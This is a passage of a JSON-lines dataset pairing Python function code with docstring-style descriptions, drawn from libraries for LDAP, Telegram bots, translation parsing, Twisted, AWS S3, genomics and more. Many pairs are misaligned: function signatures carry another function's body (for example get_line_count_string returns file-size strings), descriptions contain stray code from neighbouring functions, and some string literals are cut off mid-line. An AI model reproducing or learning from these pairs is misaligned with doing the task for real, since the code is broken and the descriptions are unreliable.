lvl == [\"test3\"]\n del lvl[0]\n assert lvl == []\n lvl = LDAPValueList([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12])\n del lvl[slice(1, 10, 2)]\n assert lvl == [1, 3, 5, 7, 9, 11, 12]\n lvl[slice(2, 6, 2)] = (13, 14)\n assert lvl == [1, 3, 13, 7, 14, 11, 12]\n\n", "nl": " Test LDAPValueList's remove method. lvl = LDAPValueList((\"test1\", \"test2\"))lvl.remove(\"Test1\")assert lvl == [\"test2\"]with pytest.raises(ValueError):lvl.remove(\"test1\")def test_set(): Test LDAPValueList's __setitem__ method. "} {"code": "def switch_inline_query(self, label, query=\"\", current_chat=False):\n for item in self._content:\n new = item.copy()\n\n for key, value in new.items():\n if callable(value):\n new[key] = value(chat)\n\n yield new\n\n\nclass Buttons:\n \"\"\"Factory for inline keyboards\"\"\"", "nl": "Switch the user to this bot's inline queryif current_chat:self._content.append({\"text\": label,\"switch_inline_query_current_chat\": query,})else:self._content.append({\"text\": label,\"switch_inline_query\": query,})def _get_content(self, chat):Get the content of this row"} {"code": "def _create_params(parent, argslist_list):", "nl": "`argslist_list` is a list that can contain an argslist as a first item, butmost not. It's basically the items between the parameter brackets (which isat most one item).This function modifies the parser structure. It generates `Param` objectsfrom the normal ast. Those param objects do not exist in a normal ast, butmake the evaluation of the ast tree so much easier.You could also say that this function replaces the argslist node with alist of Param objects."} {"code": "def _extract_data(self, json_list):\n EXTRA_KEYS = {1: \"nouns\", 2: \"verbs\", 3: \"adjectives\", 4: \"adverbs\", 5: \"prepositions\"}\n\n data_dict = {\n \"original_text\": \"\",\n \"romanization\": \"\",\n \"translation\": \"\",\n \"has_typo\": False,\n \"src_lang\": \"\",\n \"extra\": {},\n \"match\": 1.0\n }\n\n if not isinstance(json_list, list):\n return data_dict\n\n try:\n data_dict[\"romanization\"] = json_list[0][-1][3]\n except IndexError:\n pass\n\n try:\n data_dict[\"src_lang\"] = json_list[2]\n except IndexError:\n pass\n\n try:\n data_dict[\"match\"] = json_list[6]\n except IndexError:\n pass\n\n try:\n data_dict[\"has_typo\"] = True if json_list[7] else False\n except IndexError:\n pass\n\n try:\n translation = []\n original_text = []\n\n translation_list = json_list[0]\n\n if len(translation_list) > 1:\n translation_list = json_list[0][:-1]\n\n for item in translation_list:\n if isinstance(item[4], int):\n translation.append(item[0])\n original_text.append(item[1])\n\n data_dict[\"translation\"] = ''.join(translation)\n data_dict[\"original_text\"] = ''.join(original_text)\n except IndexError:\n pass\n\n try:\n if json_list[1] is not None:\n for item in json_list[1]:\n item_type = item[-1]\n\n if item_type in EXTRA_KEYS:\n dest_key = EXTRA_KEYS[item_type]\n else:\n continue\n\n temp_dict = {}\n for extra_trans in item[2]:\n temp_dict[extra_trans[0]] = extra_trans[1]\n\n data_dict[\"extra\"][dest_key] = temp_dict\n except IndexError:\n pass\n\n if not data_dict[\"romanization\"] or data_dict[\"src_lang\"] == \"en\":\n data_dict[\"romanization\"] = data_dict[\"original_text\"]\n\n return data_dict\n", "nl": "Extracts and filters the data from the json_list.Returns:Python dictionary."} {"code": "def add(self, itemType, cnf={}, **kw):\n self.add('cascade', cnf or kw)\n", "nl": "Internal function.self.tk.call((self._w, 'add', itemType) + self._options(cnf, kw))def add_cascade(self, cnf={}, **kw):Add hierarchical menu item."} {"code": "def disable_reels_notifications(self, user_id: str) -> bool:\n return self.enable_reels_notifications(user_id, True)\n", "nl": "Disable reels notifications of a userParameters----------user_id: strUnique identifier of a UserReturns-------boolA boolean value"} {"code": "def get_plugin_repos(self):\n session = Session()\n uuid = session.get_installation_uuid()", "nl": "Returns a list of plugin repos:return:"} {"code": "def c_init_code_apply(self, node, name):\n raise utils.MethodNotDefined(\"c_init_code_apply\", type(self),\n self.__class__.__name__)\n", "nl": "Optional: return a code string specific to the applyto be inserted in the module initialization code.Parameters----------node : an Apply instance in the graph being compiledname : strA string or number that serves to uniquely identify this node.Symbol names defined by this support code should include the name,so that they can be called from the c_code, and so that they do notcause name collisions.Notes-----This function is called in addition to c_init_code and will supplementwhatever is returned from there.Raises------MethodNotDefinedThe subclass does not override this method."} {"code": "def __init__(self, sentence_objs, **kwArgs):\n self.sentence_objs = sentence_objs\n self.pause_duration = kwArgs.get('pause_duration', pfs.PAUSE_DURATION)\n", "nl": "The init method to initialize with an array of sentence objects and the optional pause duration"} {"code": "def read_graph(edge_path, order):\n print(\"Target matrix creation started.\")\n graph = nx.from_edgelist(pd.read_csv(edge_path).values.tolist())\n A = normalize_adjacency(graph)\n if order > 1:\n powered_A, out_A = A, A\n for _ in tqdm(range(order-1)):\n powered_A = powered_A.dot(A)\n out_A = out_A + powered_A\n else:\n out_A = A\n print(\"Factorization started.\")\n return out_A\n", "nl": "Method to read graph and create a target matrix with pooledadjacency matrix powers up to the order.:param edge_path: Path to the ege list.:param order: Order of approximations.:return out_A: Target matrix."} {"code": "def _text_reader(text_file, multiple=False):\n with io.open(text_file) as f:\n for line in f:\n if multiple:\n yield [item.lower().split() for item in line.strip().split(\"\\t\")]\n else:\n yield line.strip().lower().split()\n\n", "nl": "Yields lines from the text file.Performs lowercasing and white-space tokenization on each line beforereturning.Args:text_file: String filename.multiple: Whether multiple references / generations are expected in a line."} {"code": "def _link_input_nodes_to_data_transformation_nodes(self, graph):\n input_node_connections = AnalysisNodeConnection.objects.filter(\n analysis=self,\n direction=INPUT_CONNECTION\n )\n for input_connection in input_node_connections:\n for edge in graph.edges_iter([input_connection.step]):\n input_id = input_connection.get_input_connection_id()\n\n if graph[edge[0]][edge[1]]['output_id'] == input_id:\n input_node_id = edge[1]\n data_transformation_node = \\\n graph.node[input_node_id]['node']\n input_connection.node.add_child(data_transformation_node)\n return graph\n", "nl": "create connection from input nodes to first data transformationnodes (input tool nodes in the graph are skipped)"} {"code": "def __init__(self, fk_solver, optimizer):\n return self.optimizer.optimize(np.array(angles0), target)\n\n\nclass CCDFKSolver(object):\n", "nl": "Generate an IK solver from a FK solver instance.def distance_squared(angles, target):x = target - fk_solver.solve(angles)return np.sum(np.power(x, 2))optimizer.prepare(distance_squared)self.optimizer = optimizerdef solve(self, angles0, target):Calculate joint angles and returns it."} {"code": "def get_dev_examples(self, data_dir):\n return self._create_examples(self._read_json(os.path.join(data_dir, \"test.json\")), \"test\")\n", "nl": "See base class.return self._create_examples(self._read_json(os.path.join(data_dir, \"dev.json\")), \"dev\")def get_test_examples(self, data_dir):See base class."} {"code": "def adv_index_broadcastable_pattern(a, idx):\n", "nl": "This function is only used to determine the broadcast pattern forAdvancedSubtensor output variable.For this, we make a fake ndarray and a fake idx and call use ask numpythe output. From this, we find the output broadcast pattern."} {"code": "def _test_scan_line_error(self, picking, barcode, message):\n response = self.service.dispatch(\n \"scan_line\", params={\"picking_id\": picking.id, \"barcode\": barcode}\n )\n self.assert_response(\n response,\n next_state=\"select_line\",\n data={\"picking\": self._stock_picking_data(picking)},\n message=message,\n )\n", "nl": "Test errors for /scan_line:param picking: the picking we are currently working with (selected):param barcode: the barcode we scan:param message: the dict of expected error message"} {"code": "def get_headers_stream(segments):\n isa_seg = None\n gs_seg = None\n st_seg = None\n for seg_data in segments:\n seg_id = seg_data.get_seg_id()\n if seg_id == 'ISA':\n isa_seg = seg_data\n elif seg_id == 'GS':\n gs_seg = seg_data\n elif seg_id in ('IEA', 'GE'):\n pass\n else:\n if seg_id == 'ST':\n st_seg = seg_data\n k = {\n 'isa_seg': isa_seg,\n 'gs_seg': gs_seg,\n 'st_seg': st_seg,\n }\n v = seg_data\n yield (k, v)\n\n", "nl": "passed a segment enumerableyields (isa_segment, gs_segment, st_segment, current_segment)"} {"code": "def setlocale(category, value=None):\n if value not in (None, '', 'C'):\n raise Error, '_locale emulation only supports \"C\" locale'\n return 'C'\n", "nl": " setlocale(integer,string=None) -> string.Activates/queries locale processing."} {"code": "def get_line_count_string(line_count):\n if size < 1 << 10:\n return '%d B' % size\n if size < 1 << 20:\n return '%d KB' % (size >> 10)\n if size < 1 << 30:\n return '%d MB' % (size >> 20)\n return '%d GB' % (size >> 30)\n\n", "nl": "Return string representation for size.if line_count == 0:return 'empty'if line_count == 1:return '1 line'return '%d lines' % line_countdef get_size_string(size):Return string representation for size."} {"code": "def _reset_cache(self, key=None):\n if getattr(self, \"_cache\", None) is None:\n return\n if key is None:\n self._cache.clear()\n else:\n self._cache.pop(key, None)\n", "nl": "Reset cached properties. If ``key`` is passed, only clears that key."} {"code": "def _execute_sql_sync(self, query: str, args: Optional[List] = None) -> List[Tuple]:\n if not self._connection:\n raise ValueError(\"Not connected\")\n with self._lock:\n result = self._connection.execute(query, args or []).fetchall()\n self._connection.commit()\n return result\n", "nl": "Execute sql command and return results.:param query: sql query string:param args: optional arguments to set into sql query.:return: List of tuples with sql records"} {"code": "def mount(self, mount_point=None):\n return DockerContainerViaExportFS(self, mount_point=mount_point)\n", "nl": "mount container filesystem:param mount_point: str, directory where the filesystem will be mounted:return: instance of DockerContainerViaExportFS"} {"code": "def _check_paired(files, force_single, separators):\n from cluster_helper import cluster as ipc\n return ipc.cluster_view(p['scheduler'], p['queue'], p['num_jobs'], p['cores_per_job'], start_wait=p['timeout'], extra_params={\"resources\": p['resources'], \"mem\": p['mem'], \"tag\": p['tag'], \"run_local\": False})\n\n", "nl": "check if files are fastq(.gz) and pairedfull_name = _check_stems(files)if files[0].endswith(\".bam\"):return fileselif is_gsm(files[0]):return filesreturn combine_pairs(files, force_single, full_name, separators)def get_cluster_view(p):get ipython running"} {"code": "def errmsg(self, msg, prefix=\"** \"):\n return self.msg(\"%s%s\" % (prefix, msg))\n", "nl": "Common routine for reporting debugger error messages."} {"code": "def _main_(args, q, db, at):\n for q, line in mutation_parser:\n if q.tok is None:\n r = Record()\n r.append_info(q.msg)\n r.format(q.op)\n continue\n\n if at == 'g':\n q.tok = normalize_chrm(q.tok)\n _main_(args, q, db, at)\n else:\n q.tok = q.tok.upper()\n genefound = False\n for q.gene in db.get_gene(q.tok, args.strictversion):\n _main_(args, q, db, at)\n genefound = True\n\n if not genefound:\n wrap_exception(Exception('invalid_gene_%s' % q.tok), q.op, args)\n\n", "nl": " process 1 input if args.verbose > 1: # let exception be released without being caught_main_core_(args, q, db, at)else: # try to catch any exceptiontry:return _main_core_(args, q, db, at)except Exception as e:wrap_exception(e, q.op, args)returndef main_list(args, db, at, mutation_parser): process a list of inputs "} {"code": "def test_removeNonExistentSystemEventTrigger(self):\n b = self.addTrigger('during', 'test', lambda: None)\n self.removeTrigger(b)\n self.assertRaises(\n TypeError, reactor.removeSystemEventTrigger, None)\n self.assertRaises(\n ValueError, reactor.removeSystemEventTrigger, b)\n self.assertRaises(\n KeyError,\n reactor.removeSystemEventTrigger,\n (b[0], ('xxx',) + b[1][1:]))\n\n", "nl": "Passing an object to L{IReactorCore.removeSystemEventTrigger} which wasnot returned by a previous call toL{IReactorCore.addSystemEventTrigger} or which has already been passedto C{removeSystemEventTrigger} should result in L{TypeError},L{KeyError}, or L{ValueError} being raised."} {"code": "def head_bucket(self, bucket_name):\n return self._client.put_object(Bucket=bucket_name, Body=body, Key=key)\n\n @AWSExceptionHandler.handle_client_exception", "nl": "Retrieve metadata for a bucket without returning the object itself.try:return self._client.head_bucket(Bucket=bucket_name)except ClientError as client_error:raise AWSClientError(function_name=\"head_bucket\",message=_process_s3_bucket_error(client_error, bucket_name),error_code=client_error.response[\"Error\"][\"Code\"],)@AWSExceptionHandler.handle_client_exceptiondef put_object(self, bucket_name, body, key):Upload object content to s3."} {"code": "def superimposition_matrix4(v0, v1, scaling=False, usesvd=True):\n v0 = numpy.array(v0, dtype=numpy.float64, copy=False)[:3]\n v1 = numpy.array(v1, dtype=numpy.float64, copy=False)[:3]\n\n if v0.shape != v1.shape or v0.shape[1] < 3:\n raise ValueError(\"Vector sets are of wrong shape or type.\")\n\n t0 = numpy.mean(v0, axis=1)\n t1 = numpy.mean(v1, axis=1)\n v0 = v0 - t0.reshape(3, 1)\n v1 = v1 - t1.reshape(3, 1)\n\n if usesvd:\n u, s, vh = numpy.linalg.svd(numpy.dot(v1, v0.T))\n R = numpy.dot(u, vh)\n if numpy.linalg.det(R) < 0.0:\n R -= numpy.outer(u[:, 2], vh[2, :]*2.0)\n s[-1] *= -1.0\n M = numpy.identity(4)\n M[:3, :3] = R\n else:\n xx, yy, zz = numpy.sum(v0 * v1, axis=1)\n xy, yz, zx = numpy.sum(v0 * numpy.roll(v1, -1, axis=0), axis=1)\n xz, yx, zy = numpy.sum(v0 * numpy.roll(v1, -2, axis=0), axis=1)\n N = ((xx+yy+zz, yz-zy, zx-xz, xy-yx),\n (yz-zy, xx-yy-zz, xy+yx, zx+xz),\n (zx-xz, xy+yx, -xx+yy-zz, yz+zy),\n (xy-yx, zx+xz, yz+zy, -xx-yy+zz))\n l, V = numpy.linalg.eig(N)\n q = V[:, numpy.argmax(l)]\n q /= vector_norm(q)\n q = numpy.roll(q, -1)\n M = matrix4_from_quaternion(q)\n\n if scaling:\n v0 *= v0\n v1 *= v1\n M[:3, :3] *= math.sqrt(numpy.sum(v1) / numpy.sum(v0))\n\n M[:3, 3] = t1\n T = numpy.identity(4)\n T[:3, 3] = -t0\n M = numpy.dot(M, T)\n return M\n\n", "nl": "Return matrix4 to transform given vector set into second vector set.v0 and v1 are shape (3, \\*) or (4, \\*) arrays of at least 3 vectors.If usesvd is True, the weighted sum of squared deviations (RMSD) isminimized according to the algorithm by W. Kabsch [8]. Otherwise thequaternion based algorithm by B. Horn [9] is used (slower when usingthis Python implementation).The returned matrix4 performs rotation, translation and uniform scaling(if specified).>>> v0 = numpy.random.rand(3, 10)>>> M = superimposition_matrix4(v0, v0)>>> numpy.allclose(M, numpy.identity(4))True>>> R = random_rotation_matrix4(numpy.random.random(3))>>> v0 = ((1,0,0), (0,1,0), (0,0,1), (1,1,1))>>> v1 = numpy.dot(R, v0)>>> M = superimposition_matrix4(v0, v1)>>> numpy.allclose(v1, numpy.dot(M, v0))True>>> v0 = (numpy.random.rand(4, 100) - 0.5) * 20.0>>> v0[3] = 1.0>>> v1 = numpy.dot(R, v0)>>> M = superimposition_matrix4(v0, v1)>>> numpy.allclose(v1, numpy.dot(M, v0))True>>> S = scale_matrix4(random.random())>>> T = translation_matrix4(numpy.random.random(3)-0.5)>>> M = concatenate_matrices(T, R, S)>>> v1 = numpy.dot(M, v0)>>> v0[:3] += numpy.random.normal(0.0, 1e-9, 300).reshape(3, -1)>>> M = superimposition_matrix4(v0, v1, scaling=True)>>> numpy.allclose(v1, numpy.dot(M, v0))True>>> M = superimposition_matrix4(v0, v1, scaling=True, usesvd=False)>>> numpy.allclose(v1, numpy.dot(M, v0))True>>> v = numpy.empty((4, 100, 3), dtype=numpy.float64)>>> v[:, :, 0] = v0>>> M = superimposition_matrix4(v0, v1, scaling=True, usesvd=False)>>> numpy.allclose(v1, numpy.dot(M, v[:, :, 0]))True"} {"code": "def fixup_indent(suite):\n kids = suite.children[::-1]\n while kids:\n node = kids.pop()\n if node.type == token.INDENT:\n break\n\n while kids:\n node = kids.pop()\n if isinstance(node, Leaf) and node.type != token.DEDENT:\n if node.prefix:\n node.prefix = u''\n return\n else:\n kids.extend(node.children[::-1])\n\n\nclass FixMetaclass(fixer_base.BaseFix):\n BM_compatible = True\n\n PATTERN = \"\"\"", "nl": " If an INDENT is followed by a thing with a prefix then nuke the prefixOtherwise we get in trouble when removing __metaclass__ at suite start"} {"code": "def FProp(self, theta, image_features, feat_ratio, points_projected):\n\n col, row = tf.unstack(\n points_projected.points_in_best_camera[..., :2], num=2, axis=-1)\n col *= feat_ratio\n row *= feat_ratio\n\n col = tf.cast(col, tf.int32)\n row = tf.cast(row, tf.int32)\n\n gather_indices = tf.concat([\n points_projected.cameras_idx[..., tf.newaxis],\n row[..., tf.newaxis],\n col[..., tf.newaxis],\n ], axis=-1)\n\n gather_indices *= tf.cast(points_projected.mask[..., tf.newaxis], tf.int32)\n\n batch_size, = py_utils.GetShape(gather_indices, 1)\n _, feat_h, feat_w, feat_c = py_utils.GetShape(image_features)\n image_features = tf.reshape(image_features,\n [batch_size, -1, feat_h, feat_w, feat_c])\n image_features_cell = tf.gather_nd(\n image_features, gather_indices, batch_dims=1)\n image_features_cell = image_features_cell * points_projected.mask[\n ..., tf.newaxis]\n return image_features_cell\n\n\nclass MultiPointsAligner(SinglePointAligner):\n \"\"\"Align image features to point cloud features.\n", "nl": "Align image features to point cloud features.Args:theta: A `.NestedMap` object containing variable values of this task.image_features: A float tensor with shape [batch_size, num_cameras, H, W,C] containing the features extracted from backbone network.feat_ratio: A float for indicating the ratio between the feature map sizeand original image size, assuming that assuming the height and width arescaled with the same ratio.points_projected: NestedMap of cameras_idx, points_in_best_camera, andmask.Returns:image_features_cell: The image feature aligned with the point cloudfeature."} {"code": "def nlst(self, *args):", "nl": "Return a list of files in a given directory (default the current).cmd = 'NLST'for arg in args:cmd = cmd + (' ' + arg)files = []self.retrlines(cmd, files.append)return filesdef dir(self, *args):List a directory in long form."} {"code": "def process(self, argv=sys.argv, ifile=sys.stdin, ofile=sys.stdout):\n if len(argv) > 1:\n self._process_protocol_v1(argv, ifile, ofile)\n else:\n self._process_protocol_v2(argv, ifile, ofile)\n", "nl": " Process data.:param argv: Command line arguments.:type argv: list or tuple:param ifile: Input data file.:type ifile: file:param ofile: Output data file.:type ofile: file:return: :const:`None`:rtype: NoneType"} {"code": "def assert_called_once(_mock_self):\n self = _mock_self\n if not self.call_count == 1:\n msg = (\"Expected '%s' to have been called once. Called %s times.\" %\n (self._mock_name or 'mock', self.call_count))\n raise AssertionError(msg)\n", "nl": "assert that the mock was called only once."} {"code": "def ordered_indices(self):\n if self.shuffle:\n indices = np.random.permutation(len(self))\n else:\n indices = np.arange(len(self))\n return indices[np.argsort(self.sizes[indices], kind='mergesort')]\n\n @property", "nl": "Return an ordered list of indices. Batches will be constructed basedon this order."} {"code": "def get_arguments():\n parser = argparse.ArgumentParser(description=\"CE2P Network\")", "nl": "Parse all the arguments provided from the CLI.Returns:A list of parsed arguments."} {"code": "def _remap_cortex_out(cortex_out, region, out_file):", "nl": "Remap coordinates in local cortex variant calls to the original global region."} {"code": "def linear_classifier(x, param_dict, num_samples):\n return F.linear(x, param_dict['weight_mean'], param_dict['bias_mean'])", "nl": "Classifier."} {"code": "def get_viostor_info(self):\n cmd = r\"dir %s\\Drivers\\VirtIO\\\\viostor.sys\" % self.windows_root\n return self.run_cmd(cmd)[1]\n", "nl": "Get viostor info."} {"code": "def getEnvelopeFile(self, message):\n return open(os.path.join(self.directory, message+'-H'), 'rb')\n\n", "nl": "Get the envelope file for a message in the queue.@type message: L{bytes}@param message: The base filename of a message.@rtype: L{file}@return: The envelope file for the message."} {"code": "def test_read_illumina18_id_fastq_screen_tags(self):\n seqid_string = \"@NB500968:70:HCYMKBGX2:1:11101:22672:1659 2:N:0:1\n seqid = SequenceIdentifier(seqid_string)\n self.assertEqual(str(seqid),seqid_string)\n self.assertEqual('illumina18',seqid.format)\n self.assertEqual('NB500968',seqid.instrument_name)\n self.assertEqual('70',seqid.run_id)\n self.assertEqual('HCYMKBGX2',seqid.flowcell_id)\n self.assertEqual('1',seqid.flowcell_lane)\n self.assertEqual('11101',seqid.tile_no)\n self.assertEqual('22672',seqid.x_coord)\n self.assertEqual('1659',seqid.y_coord)\n self.assertEqual('2',seqid.pair_id)\n self.assertEqual('N',seqid.bad_read)\n self.assertEqual('0',seqid.control_bit_flag)\n self.assertEqual('1\n seqid_string = \"@NB500968:70:HCYMKBGX2:1:11101:24365:2047 2:N:0:1\n seqid = SequenceIdentifier(seqid_string)\n self.assertEqual(str(seqid),seqid_string)\n self.assertEqual('illumina18',seqid.format)\n self.assertEqual('NB500968',seqid.instrument_name)\n self.assertEqual('70',seqid.run_id)\n self.assertEqual('HCYMKBGX2',seqid.flowcell_id)\n self.assertEqual('1',seqid.flowcell_lane)\n self.assertEqual('11101',seqid.tile_no)\n self.assertEqual('24365',seqid.x_coord)\n self.assertEqual('2047',seqid.y_coord)\n self.assertEqual('2',seqid.pair_id)\n self.assertEqual('N',seqid.bad_read)\n self.assertEqual('0',seqid.control_bit_flag)\n self.assertEqual('1\n", "nl": "Process an 'illumina18'-style sequence id with fastq_screen tags"} {"code": "def tuning_preprocess(args):\n info = {}\n\n info['tuner'] = args.tuner\n info['n_trial'] = args.n_trial\n info['early_stopping'] = args.early_stopping\n info['evaluate_inference_time'] = args.evaluate_inference_time\n\n info = yaml_processing(args.config, info)\n", "nl": "This function checks the command-line arguments and reads the necessary infofrom the .yaml file, it's used when the tune option is selected"} {"code": "def move_vel_mode(self, velocity):\n return self._current_position\n", "nl": "Move at a specific velocity indefinitely.self.velocity = velocitydef current_position(self):Return current position of stepper."} {"code": "def to_image_list(tensors, size_divisible=0):\n if isinstance(tensors, torch.Tensor) and size_divisible > 0:\n tensors = [tensors]\n\n if isinstance(tensors, ImageList):\n return tensors\n elif isinstance(tensors, torch.Tensor):\n assert tensors.dim() == 4\n image_sizes = [tensor.shape[-2:] for tensor in tensors]\n return ImageList(tensors, image_sizes)\n elif isinstance(tensors, (tuple, list)):\n max_size = tuple(max(s) for s in zip(*[img.shape for img in tensors]))\n\n if size_divisible > 0:\n import math\n\n stride = size_divisible\n max_size = list(max_size)\n max_size[1] = int(math.ceil(max_size[1] / stride) * stride)\n max_size[2] = int(math.ceil(max_size[2] / stride) * stride)\n max_size = tuple(max_size)\n\n batch_shape = (len(tensors),) + max_size\n batched_imgs = tensors[0].new(*batch_shape).zero_()\n for img, pad_img in zip(tensors, batched_imgs):\n pad_img[: img.shape[0], : img.shape[1], : img.shape[2]].copy_(img)\n\n image_sizes = [im.shape[-2:] for im in tensors]\n\n return ImageList(batched_imgs, image_sizes)\n else:\n raise TypeError(\"Unsupported type for to_image_list: {}\".format(type(tensors)))", "nl": "tensors can be an ImageList, a torch.Tensor oran iterable of Tensors. It can't be a numpy array.When tensors is an iterable of Tensors, it padsthe Tensors with zeros so that they have the sameshape"} {"code": "def get_application_list(self):\n logger.info(\"Getting SecureApp applications list.\")\n try:\n response_string = self.get_uri(\"/securechangeworkflow/api/secureapp/repository/applications\",\n expected_status_codes=200).response.content\n except RequestException:\n message = \"Failed to GET SecureApp application list\"\n logger.critical(message)\n raise IOError(message)\n self._app_list = Applications_List.from_xml_string(response_string)\n return self._app_list\n", "nl": "Get the list of currently configured SecureApp applications.:return: The currently configured SecureApp applications list.:rtype:Applications_List:raise IOError: If there was a communication error."} {"code": "def get_common_question_words(self, n):\n from nltk.tokenize import word_tokenize\n cnt = Counter()\n for q in self.questions:\n cnt.update(word_tokenize(q['question'].lower()))\n del cnt['?']\n ret = cnt.most_common(n)\n return [k[0] for k in ret]\n\nif __name__ == '__main__':\n vqa = VisualQA('/home/wyx/data/VQA/MultipleChoice_mscoco_train2014_questions.json',\n '/home/wyx/data/VQA/mscoco_train2014_annotations.json')\n for k in vqa.get_data():\n print(json.dumps(k))\n break\n vqa.get_common_answer(100)", "nl": " Get the n most common words in questionsn=4600 ~= thresh 6"} {"code": "def test_prefix_preservation(self):\n self.check(b, a)\n", "nl": "b = if isinstance( foo(), ( bar, bar, baz )) : passa = if isinstance( foo(), ( bar, baz )) : pass"} {"code": "def time2isoz(t=None):\n if t is None:\n dt = datetime.datetime.utcnow()\n else:\n dt = datetime.datetime.utcfromtimestamp(t)\n return \"%04d-%02d-%02d %02d:%02d:%02dZ\" % (\n dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second)\n", "nl": "Return a string representing time in seconds since epoch, t.If the function is called without an argument, it will use the currenttime.The format of the returned string is like \"YYYY-MM-DD hh:mm:ssZ\",representing Universal Time (UTC, aka GMT). An example of this format is:1994-11-24 08:49:37Z"} {"code": "def sample(self, obs):\n logits = self.model.policy(obs)\n policy_dist = CategoricalDistribution(logits)\n sample_actions = policy_dist.sample()\n return sample_actions, logits\n", "nl": "Args:obs: An float32 tensor of shape ([B] + observation_space).E.g. [B, C, H, W] in atari."} {"code": "def calculate(module, *inputs):\n\t\t\t\tresult = Layer.resolve(operation)(\n\t\t\t\t\tmodule,\n\t\t\t\t\t*[x(module, *inputs) for x in lower_layers]\n\t\t\t\t)\n\t\t\t\treturn result\n\t\t\tcalculate.name = name\n\t\t\tcalculate.op = operation\n\n\t\t\treturn calculate\n\n\t\tstack.name = name\n\t\tstack.op = operation\n\n\t\treturn stack\n", "nl": " Applies the layer."} {"code": "def get_title(cls):\n\n Also used to match filters to field names when constructiong\n AbstractFilteredEntity instances.\n \"\"\"", "nl": "Human-friendly English display title for this filter.raise NotImplementedError()@classmethoddef get_name(cls):JavaScript-friendly identifier. Only lowercase and underscores."} {"code": "def fastqs_are_pair(fastq1=None,fastq2=None,verbose=True,fp1=None,fp2=None):\n i = 0\n for r1,r2 in itertools.zip_longest(\n FastqIterator(fastq_file=fastq1,fp=fp1),\n FastqIterator(fastq_file=fastq2,fp=fp2)):\n i += 1\n if verbose:\n if i%100000 == 0:\n print(\"Examining pair\n if not r1.seqid.is_pair_of(r2.seqid):\n if verbose:\n print(\"Unpaired headers for read position\n print(\"%s\\n%s\" % (r1.seqid,r2.seqid))\n return False\n return True", "nl": "Check that two FASTQs form an R1/R2 pairArguments:fastq1: first FASTQfastq2: second FASTQReturns:True if each read in fastq1 forms an R1/R2 pair with the equivalentread (i.e. in the same position) in fastq2, otherwise False ifany do not form an R1/R2 (or if there are more reads in one thanthan the other)."} {"code": "def get_format_names(cls):\n\n return TableUrlLoaderFactory(\"http://dummy.com/\").get_format_names()\n\n @classmethod", "nl": ":return:Available format names. These names can use by:py:class:`.TableUrlLoader` class constructor.:rtype: list:Example:.. code:: python>>> from pytablereader import TableUrlLoader>>> for format_name in TableUrlLoader.get_format_names():... print(format_name)...csvexcelhtmljsonjson_linesjsonlldjsonltsvmarkdownmediawikindjsonsqlitessvtsv"} {"code": "def compound_statement(self):\n self.eat(BEGIN)\n nodes = self.statement_list()\n self.eat(END)\n\n root = Compound()\n for node in nodes:\n root.children.append(node)\n\n return root\n", "nl": "compound_statement: BEGIN statement_list END"} {"code": "def get_video(video_path, frame_indices):", "nl": "generate a video clip which is a list of selected frames:param video_path: path of video folder which contains video frames:param frame_indices: list of selected indices of frames. e.g. if index is 1, then selected frame's name is \"img_1.png\":return: a list of selected frames which are PIL.Image or accimage form"} {"code": "def tryCreateShow(self):\n try:\n show = opencue.api.createShow(self.__name_field.text())\n return show\n except opencue.exception.CueException as e:\n QtWidgets.QMessageBox.critical(\n self,\n \"Failed To Create Show\",\n str(e),\n QtWidgets.QMessageBox.Ok\n )\n", "nl": "Try to create the show in OpenCue@return: An opencue.wrappers.show.Show if successful"} {"code": "def variable_summaries(var, name, collection_key):\n if collection_key not in VAR_LOG_LEVELS.keys():\n raise ValueError('\"{}\" not in `VAR_LOG_LEVELS`'.format(collection_key))\n collections = VAR_LOG_LEVELS[collection_key]\n\n with tf.name_scope(name):\n mean = tf.reduce_mean(var)\n tf.summary.scalar('mean', mean, collections)\n num_params = tf.reduce_prod(tf.shape(var))\n tf.summary.scalar('num_params', num_params, collections)\n with tf.name_scope('stddev'):\n stddev = tf.sqrt(tf.reduce_mean(tf.square(var - mean)))\n tf.summary.scalar('stddev', stddev, collections)\n tf.summary.scalar('max', tf.reduce_max(var), collections)\n tf.summary.scalar('min', tf.reduce_min(var), collections)\n tf.summary.histogram('histogram', var, collections)\n tf.summary.scalar('sparsity', tf.nn.zero_fraction(var), collections)\n\n", "nl": "Attach a lot of summaries to a Tensor (for TensorBoard visualization).Args:- var: Tensor for variable from which we want to log.- name: Variable name.- collection_key: Collection to save the summary to, can be any key of`VAR_LOG_LEVELS`."} {"code": "def __init__(self, start_value, max_steps):\n assert max_steps > 0\n self.cur_step = 0\n self.max_steps = max_steps\n self.start_value = start_value\n", "nl": "Linear decay scheduler of hyper parameter.Decay value linearly untill 0.Args:start_value (float): start valuemax_steps (int): maximum steps"} {"code": "def test_out_of_zero(self):\n c = CourseOffering.objects.get(slug=self.course_slug)\n a = NumericActivity(offering=c, name=\"AZero\", short_name=\"AZ\", status=\"RLS\", group=False, deleted=False, max_grade=0, position=1)\n a.save()\n stud = c.member_set.filter(role=\"STUD\")[0]\n\n client = Client()\n client.login_user(\"ggbaker\")\n\n url = reverse('offering:change_grade_status', kwargs={'course_slug': c.slug, 'activity_slug': a.slug, 'userid': stud.person.userid})\n response = basic_page_tests(self, client, url)\n self.assertContains(response, \"out of 0\")\n\n response = client.post(url, {'grade-status-value': 3, 'grade-status-flag': 'GRAD', 'grade-status-comment': ''})\n self.assertEqual(response.status_code, 302)\n g = NumericGrade.objects.get(activity=a, member=stud)\n self.assertEqual(g.value, 3)\n\n url = reverse('offering:activity_info', kwargs={'course_slug': c.slug, 'activity_slug': a.slug})\n response = basic_page_tests(self, client, url)\n url = reverse('offering:student_info', kwargs={'course_slug': c.slug, 'userid': stud.person.userid})\n response = basic_page_tests(self, client, url)\n\n client.login_user(stud.person.userid)\n\n url = reverse('offering:course_info', kwargs={'course_slug': c.slug})\n response = basic_page_tests(self, client, url)\n url = reverse('offering:activity_info', kwargs={'course_slug': c.slug, 'activity_slug': a.slug})\n response = basic_page_tests(self, client, url)\n\n", "nl": "Test activities out of zero"} {"code": "def resource_isdir(self, package_or_requirement, resource_name):\n return get_provider(package_or_requirement).get_resource_filename(\n self, resource_name\n )\n", "nl": "Is the named resource an existing directory?return get_provider(package_or_requirement).resource_isdir(resource_name)def resource_filename(self, package_or_requirement, resource_name):Return a true filesystem path for specified resource"} {"code": "def change_directory(new_path):\n saved_path = os.getcwd()\n os.chdir(os.path.expanduser(new_path))\n try:\n yield\n finally:\n os.chdir(saved_path)\n\n", "nl": " Context manager for changing the current working directory.Will return to 